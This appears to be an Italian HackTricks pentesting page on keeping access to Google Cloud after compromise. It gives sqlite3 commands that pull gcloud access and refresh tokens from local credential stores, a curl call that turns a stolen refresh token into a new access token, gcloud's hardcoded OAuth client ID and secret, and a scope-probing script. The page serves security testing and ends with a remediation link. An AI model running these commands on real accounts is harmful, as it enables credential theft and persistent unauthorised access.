GCP - Non-svc Persistance

Supporta HackTricks

Queste sono tecniche utili una volta che, in qualche modo, hai compromesso alcune credenziali GCP o una macchina che gira in un ambiente GCP.

Token Hijacking

Token Utente Autenticato

Per ottenere il token corrente di un utente puoi eseguire:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Controlla in questa pagina come usare direttamente questo token usando gcloud:

Per ottenere i dettagli per generare un nuovo access token esegui:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

È anche possibile trovare i refresh token in $HOME/.config/gcloud/application_default_credentials.json e in $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Per ottenere un nuovo access token aggiornato con il refresh token, client ID e client secret eseguire:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

La validità dei token di aggiornamento può essere gestita in Admin > Security > Google Cloud session control, e per impostazione predefinita è impostata a 16h anche se può essere impostata per non scadere mai:

Auth flow

Il flusso di autenticazione quando si utilizza qualcosa come gcloud auth login aprirà un prompt nel browser e, dopo aver accettato tutti gli scope, il browser invierà una richiesta come questa alla porta http aperta dallo strumento:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Then, gcloud userà lo stato e il codice con un client_id hardcoded (32555940559.apps.googleusercontent.com) e client_secret (ZmssLNjJy2998hD4CTg2ejr2) per ottenere i dati finali del refresh token.

Nota che la comunicazione con localhost è in HTTP, quindi è possibile intercettare i dati per ottenere un refresh token, tuttavia questi dati sono validi solo una volta, quindi sarebbe inutile, è più facile leggere il refresh token dal file.

OAuth Scopes

Puoi trovare tutti gli scope di Google su https://developers.google.com/identity/protocols/oauth2/scopes o ottenerli eseguendo:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

È possibile vedere quali ambiti l'applicazione che gcloud utilizza per autenticarsi può supportare con questo script:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Dopo averlo eseguito, è stato verificato che questa app supporta questi ambiti:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

è interessante vedere come questa app supporti l'ambito drive, il che potrebbe permettere a un utente di eseguire un'escalation da GCP a Workspace se un attaccante riesce a forzare l'utente a generare un token con questo ambito.

Controlla come abusarne qui.

Service Accounts

Proprio come con gli utenti autenticati, se riesci a compromettere il file della chiave privata di un service account sarai in grado di accedervi di solito per tutto il tempo che vuoi. Tuttavia, se rubi il token OAuth di un service account questo può essere ancora più interessante, perché, anche se per impostazione predefinita questi token sono utili solo per un'ora, se la vittima elimina la chiave privata dell'API, il token OAuth sarà comunque valido fino alla sua scadenza.

Metadata

Ovviamente, finché sei all'interno di una macchina che gira nell'ambiente GCP sarai in grado di accedere al service account collegato a quella macchina contattando l'endpoint dei metadata (nota che i token OAuth a cui puoi accedere in questo endpoint sono di solito limitati dagli ambiti).

Remediations

Alcune soluzioni per queste tecniche sono spiegate in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

References

Supporta HackTricks

Last updated